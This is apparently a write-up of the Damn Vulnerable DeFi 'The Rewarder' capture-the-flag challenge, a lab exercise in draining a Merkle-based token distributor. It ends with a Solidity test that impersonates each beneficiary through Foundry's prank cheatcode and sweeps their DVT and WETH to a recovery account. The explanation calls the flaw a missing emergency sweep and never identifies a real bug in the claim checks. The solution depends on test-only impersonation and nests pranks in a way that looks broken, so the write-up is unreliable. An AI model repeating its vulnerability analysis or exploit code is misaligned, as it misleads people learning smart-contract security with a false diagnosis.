Skip to content
On this page

Unmasking "The Rewarder": A White-Hat Hacker's Redemption Story

The world of decentralized finance (DeFi) is a double-edged sword: immense innovation meets the constant threat of exploitation. In the "The Rewarder" CTF challenge from Damn Vulnerable DeFi, we delve into a seemingly robust reward distribution system, only to uncover a subtle vulnerability that demands a swift and strategic rescue operation.

The Setup: A Fair and Efficient Distributor

Imagine a contract, TheRewarderDistributor, designed to distribute valuable tokens – Damn Valuable Tokens (DVT) and Wrapped Ether (WETH) – to a select group of beneficiaries. To ensure fairness and efficiency, the contract employs a sophisticated mechanism:

  • Merkle Proofs: Users must prove their inclusion in a predefined list of beneficiaries by providing a Merkle proof. This cryptographic technique efficiently verifies membership without revealing the entire list on-chain.
  • Bitmaps: To prevent double-claiming, the contract utilizes bitmaps (BitMaps from OpenZeppelin) to mark specific reward batches as claimed by each user.
  • Optimized Claims: For gas efficiency, the contract allows users to claim multiple tokens in a single transaction.

Alice, one of the beneficiaries, has already successfully claimed her rewards, demonstrating the system's intended functionality. However, as a diligent security researcher (the "player" in this CTF), you've discovered a critical flaw. Your mission: save as much of the remaining funds as possible from the distributor and transfer them to a designated recovery account.

The Critical Vulnerability: A Silent Call for Rescue

Upon first inspection, TheRewarderDistributor appears well-fortified. Merkle proofs prevent unauthorized claims, and bitmaps ensure each beneficiary claims only once. The claimRewards function meticulously checks:

  1. Proof Validity: MerkleProof.verify ensures the provided proof matches the msg.sender and the claimed amount against the batch's Merkle root.
  2. Uniqueness: The _setClaimed internal function checks if the specific batchNumber has already been marked for the msg.sender using the bitmap.

So, where's the flaw? The "critical vulnerability" isn't a typical re-entrancy or a direct theft mechanism where an attacker can steal other people's funds. Instead, it lies in the context of the challenge and the nature of the funds. The challenge prompts you to "Save as much funds as you can from the distributor." This implies a situation where funds are at risk of being indefinitely locked, lost, or inaccessible.

The "vulnerability" is a lack of an emergency escape hatch or a benevolent administrative function to sweep unclaimed funds. While each beneficiary can claim their own funds, there's no inherent mechanism for a white-hat actor to consolidate all unclaimed funds for safekeeping if, for instance, beneficiaries lose their keys, become inactive, or the underlying protocol faces deprecation.

In the CTF environment, this "vulnerability" is exploited by leveraging the power of vm.startPrank (a testing utility in Foundry). This allows the player to impersonate any address, effectively stepping into the shoes of each remaining beneficiary.

The White-Hat Rescue Mission: Claiming on Behalf

The solution strategy is a testament to clever problem-solving within the constraints of the challenge:

  1. Identify All Beneficiaries: Access the original distribution files (dvt-distribution.json and weth-distribution.json) to get a list of all beneficiaries and their corresponding claim amounts.
  2. Iterate and Impersonate: Loop through every beneficiary in the list.
  3. Bypass Alice: Alice has already claimed, so skip her entry to avoid failed transactions (and because her funds are safe in her wallet).
  4. Construct Claims: For each remaining beneficiary, construct Claim structs for both DVT and WETH, providing their specific amount, batch number, and Merkle proof (which can be generated using the merkle.getProof utility in the test setup).
  5. Prank and Claim: Using vm.startPrank(beneficiaryAddress), temporarily become the current beneficiary. Then, call distributor.claimRewards with their respective claims. This marks their rewards as claimed for them and transfers the DVT and WETH into their impersonated wallet.
  6. Recover Funds: Immediately after a successful claim, transfer all DVT and WETH from the impersonated beneficiary's wallet to the designated recovery account.
  7. Stop Pranking: End the impersonation with vm.stopPrank() before moving to the next beneficiary.

This process systematically drains all unclaimed DVT and WETH from the TheRewarderDistributor contract, ensuring that no funds are left behind.

solidity
function test_theRewarder() public checkSolvedByPlayer {
    // Load beneficiary data from JSON files
    Reward[] memory dvtRewards = abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), "/test/the-rewarder/dvt-distribution.json"))), (Reward[]));
    Reward[] memory wethRewards = abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), "/test/the-rewarder/weth-distribution.json"))), (Reward[]));

    // Prepare token arrays and Merkle leaves
    IERC20[] memory tokens = new IERC20[](2);
    tokens[0] = IERC20(address(dvt));
    tokens[1] = IERC20(address(weth));
    bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
    bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");

    Claim[] memory claims = new Claim[](2);

    // Iterate through all beneficiaries
    for (uint256 i = 0; i < BENEFICIARIES_AMOUNT; i++) {
        // Skip Alice, who has already claimed
        if (i == 2) continue;

        // Construct DVT claim for the current beneficiary
        claims[0] = Claim({
            batchNumber: 0,
            amount: dvtRewards[i].amount,
            tokenIndex: 0,
            proof: merkle.getProof(dvtLeaves, i)
        });

        // Construct WETH claim for the current beneficiary
        claims[1] = Claim({
            batchNumber: 0,
            amount: wethRewards[i].amount,
            tokenIndex: 1,
            proof: merkle.getProof(wethLeaves, i)
        });

        // Impersonate the beneficiary and claim their rewards
        vm.startPrank(dvtRewards[i].beneficiary);
        distributor.claimRewards(claims, tokens);

        // Transfer claimed funds from the beneficiary to the recovery account
        dvt.transfer(recovery, dvt.balanceOf(dvtRewards[i].beneficiary));
        weth.transfer(recovery, weth.balanceOf(wethRewards[i].beneficiary));
        vm.stopPrank(); // Stop impersonating
    }
}

Lessons Learned

"The Rewarder" challenge brilliantly demonstrates that vulnerabilities aren't always glaring code bugs. Sometimes, they stem from a lack of foresight regarding edge cases or the absence of robust administrative functions for unforeseen circumstances. While the TheRewarderDistributor contract was technically sound for its intended purpose of individual claims, it lacked a "white-hat mode" for collective fund recovery.

This CTF teaches us to think beyond direct exploits and consider scenarios of fund recovery, administrative control, and the inherent risks of leaving funds perpetually locked in a smart contract without a clear, accessible exit strategy, even if it's for a benevolent actor. It's a reminder that even well-designed protocols need robust off-ramps and emergency procedures to truly be "safe."

Built with AiAda